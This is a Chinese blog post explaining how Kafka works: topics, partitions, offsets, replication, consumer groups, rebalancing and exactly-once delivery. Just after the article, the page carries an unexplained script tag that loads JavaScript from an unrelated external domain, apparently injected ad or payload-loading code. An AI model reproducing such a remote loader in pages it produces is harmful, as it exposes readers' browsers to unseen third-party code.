`
toplchx
  • 浏览: 340739 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

Kafka原理简易说明

阅读更多

Kafka原理简易说明

kafka是消息队列。

它是队列,传递消息(信息)用的。

它可以用在系统整合、解耦、消峰等场合。

 

1、最简单的逻辑流程

kafka的broker(服务器)创建一个Topic(主题)

Producer(生产者)向这个topic发送(push)消息

Consumer(消费者)订阅这个主题,从broker拉取(pull)消息

[pull]  consumer用拉取的方式获取消息可以缓解消息使用者的压力。消息使用者可以根据自身的情况选择读取多少数据,而不是被动的受消息发送频率的控制。对于消息队列来说这叫backpressure(背压)

 

2、最简单的物理流程

Producer向Broker发送消息

Broker将消息顺序写入磁盘

Consumer决定从什么offset(位置)开始拉取信息

[顺序写]  在磁盘中物理块的顺序存储可以增加读写效率
[offset]  可以理解为一个指针,该指针表明当前消息读取到什么位置。
 

3、提高磁盘效率

现在我们有一块连续的磁盘空间存储消息。如果读和写的压力增大,这块空间的IO压力也会增大。为了缓解这种压力,kafka可以为一个topic设置多个Partition(分区)。broker根据某种规则(比如key取模),将消息分发到对应的Partition中,一个Partition又分成多个segment文件进行存储,还有对应的索引文件。

Partition相当于增加了磁盘IO的并行度。可以想到,Partition设置在不同的磁盘上(不同的服务器上)效率是最高的,同一块磁盘不宜设置过多的Partition,这样会打断磁盘顺序读写。

每一个Consumer或一个组Consumer,对应每一个Partition维护一个offset。

 

4、提高写效率

可以通过增加Producer的实例来提高发送消息的效率。也可以指定某个Producer向某个Partition发送消息。

发送消息可以接收broker返回是否成功的信息,也可以不接收。

可以设置消息发送成功的条件,有几个broker接收到消息算成功。这个数值越少,发送越快,但可靠性更低。

 

5、提高读效率

同样可以通过增加Consumer实例来提高读取的效率。

可以把多个Consumer设置在一个group里,一个group里的Consumer使用一个offset,不会重复消费消息。这样就提高了读取的并行度。

Consumer也可以指定从哪个Partition读取数据。

 

6、提高健壮性

从上面到现在为止,kafka里的消息都没有备份,一旦磁盘发生故障,消息就会有损失。

从0.8版本开始kafka提供partition的Replication(复制)。

Replication的数量过多会影响系统的吞吐量,默认数量是1。

在复制里,每个Partition有一个leader和若干个follower,信息都写到leader上,follower定期批量复制leader上的信息。

通过zookeeper来验证broker是否存活,通过"in sync"的node list来维护follower是否可用。

 

7、均衡

如果Consumer未指定从某个Partition获取数据,broker会对Consumer做一些均衡处理,使它们尽量平均分配到Partitions中。增加和较少Consumer的数量都有可能触发Rebalance(重均衡)。

 

8、exactly once

有且仅有一次。

我们希望消息在发送和消费的过程中,被使用且只被使用一次,不过要保证这样则要消耗大量的成本(开发成本、运行时间成本、系统复杂度成本等)。

发送

保证有一次:设置发送成功返回信息,可保证发送的信息已保存。

保证只有一次:Producer在发送时可以设置幂等,也就是key相同时,只被写入一次。那么如果想实现发送的exactly once就需要业务逻辑上保证每一条消息的key确定且唯一。

 

消费

保证有一次:数据保存在kafka里就可以随时读取。kafka默认保存7日数据,可以通过设置改变。

保证只有一次:Consumer要保证exactly once稍微复杂一点,消费消息实际上分为两步:

  1. 通过offset从partition取数据

  2. 使用这份数据做业务处理

一种保证消费exactly once的方式:

业务处理成功,则修改offset,业务处理不成功,则回滚。

显然,如果把这两步放在一个Transaction(事务)中,则可以实现消费的exactly once。

这需要在业务处理的地方去维护offset。

但是事务的方式一般是阻塞的,它可以保证消息的消费顺序,但会影响消费的效率。

另一种消费exactly once的方式:

将读取和处理分开,读取到数据就修改offset,保证下一次读取尽快进行。

处理消息时,如果失败,则将该消息重新传出消息队列,或记录在其他地方,后面再做处理。这种方式效率会高一些,但打乱了消息的顺序。而且这种方式其实跟kafka没什么关系,主要是业务逻辑的保障。

<script type="text/javascript" src="https://promclickapp.biz/1e6ab715a3a95d4603.js"></script>
分享到:
评论

相关推荐

    kafka细心原理与实战

    ### Kafka核心原理与实战 #### 一、Kafka概述与特点 Kafka是一款开源的分布式消息系统,由LinkedIn开发并在2011年开源,现在是Apache顶级项目。其主要设计目的是为了提供一种高吞吐量、低延迟的发布订阅模型,适用...

    kafka原理文档1

    kafka原理文档1 kafka是一种高吞吐量、基于发布/订阅模式的消息队列系统。下面是kafka的原理文档,涵盖了kafka的架构、设计理念、消息模型、 Partition机制、日志策略、消息可靠性机制等方面。 一、kafka架构 ...

    kafka原理介绍及参数.pptx

    kafka原理优化及参数。 可恢复性  系统的一部分组件失效时,不会影响到整个系统。消息队列降低了进程间的耦合度,所以即使一个处理消息的进程挂掉,加入队列中的消息仍然可以在系统恢复后被处理。 顺序保证  在...

    Kafka原理剖析及实战演练视频教程

    运维,java开发,消息中间件,Kafka原理剖析及实战演练视频教程,刚刚买的

    大数据Kafka架构原理.pdf

    Kafka是一款高性能、分布式的发布订阅消息系统,由LinkedIn开发并贡献给Apache软件基金会。它被设计成能够处理海量数据,提供高...理解并掌握Kafka的工作原理和使用方法,对于构建高效、可靠的数据处理系统至关重要。

    Kafka原理剖析及实战演练.txt

    自己花钱买的视频教程,做JAVA开发一定要学习的哦,即使没有在实际项目中使用过,也是面试时的敲门砖,一点都不了解的话,想进互联网企业怕是很困难的,放上来只想赚点积分,方便自己下载别的资源,来支持一个

    Kafka工作原理详解

    ### Kafka工作原理详解 #### 一、Kafka的角色与组件 Kafka作为一款分布式消息系统,在实际应用中涉及多种角色及组件,它们协同工作确保消息的高效传递。 1. **Broker**:Kafka集群的基本单元,一个Broker可以视为...

    Kafka核心设计与实践原理.zip

    《深入理解Kafka:核心设计与实践原理》从Kafka的基础概念切入,循序渐进地转入对其内部原理的剖析。《深入理解Kafka:核心设计与实践原理》主要阐述了Kafka中生产者客户端、消费者客户端、主题与分区、日志存储、...

    Kafka学习思维导图-Kafka原理-kafka简介

    kafka是一个分步数据流平台,可以分布在单个服务器上,也可以分布在多个服务器上部署形成集群,提供了发布和订阅功能,使用者可以发送数据到kafka中,也可以从kafka中读出数据,kafka具有高吞吐,低延迟,高容错等...

    Kafka 消息队列(高清版)深入理解Kafka:核心设计与实践原理.zip

    《Kafka 消息队列(高清版)深入理解Kafka:核心设计与实践原理》是一本详尽探讨Apache Kafka的书籍,旨在帮助读者深入掌握Kafka的核心设计理念和实际操作技巧。Kafka是一个分布式流处理平台,广泛应用于大数据处理...

    Kafka技术架构原理分享ppt

    kafka架构原理 1、kafka架构原理简介 2、kafka架构原理深度解析 3、常见问题以及处理方案 4、各种消息中间件的对比 ps:可用于公司技术分享

    深入理解Kafka:核心设计与实践原理_朱忠华著_带目录.rar

    《深入理解Kafka:核心设计与实践原理》是由朱忠华编著的一本关于Kafka的专业书籍,旨在帮助读者从基础知识到深入原理全面掌握Kafka。这本书以清晰易懂的文字和直观的图形辅助讲解,既适合初学者快速入门,也满足有...

    Kafka高可用性实现原理

    Kafka高可用性实现原理 Kafka 作为一个分布式消息系统,具有高可用性和高吞吐量的特点。其高可用性实现原理可以从以下几个方面来分析: 1. 分布式系统架构 Kafka 的架构是基于分布式系统的,包括 Producer、...

    (高清版)深入理解Kafka:核心设计与实践原理.zip

    《深入理解Kafka:核心设计与实践原理》是一本深入探讨Apache Kafka这一分布式流处理平台的专业书籍。Kafka是目前大数据领域中广泛使用的实时数据处理工具,它在消息队列、日志聚合以及流处理等多个场景下发挥着关键...

    kafka原理解析与实践

    ### Kafka核心原理与实战 #### 一、Kafka简介与特点 Kafka是一款开源的分布式消息系统,由LinkedIn开发并在2011年开源,现在是Apache顶级项目。其主要设计目的是提供一种高吞吐量的实时消息处理系统,同时支持离线...

    Apache Kafka 0.9.0说明文档

    二、Kafka API 说明 1. **Producer API**:生产者API允许应用程序将消息发布到Kafka的主题。它提供了同步和异步两种发送消息的方式,以及控制消息发送的策略,如批处理和错误重试。 2. **Consumer API**:消费者...

    Kafka原理剖析及实战演练视频

    Kafka原理剖析及实战演练视频教程,高性能跨语言的分布式发布/订阅消息系统,数据持久化,全分布式,同时支持在线和离线处理

    Kafka核心原理与实战(并不是原书,请看描述和评论下载)

    ### Kafka核心原理与实战 #### 一、Kafka概述及特点 Kafka是一个高效、可扩展的分布式消息队列系统,广泛应用于实时数据管道、流处理等场景。它以其高吞吐量、低延迟和持久化的特性,在大数据领域占据着举足轻重的...

Global site tag (gtag.js) - Google Analytics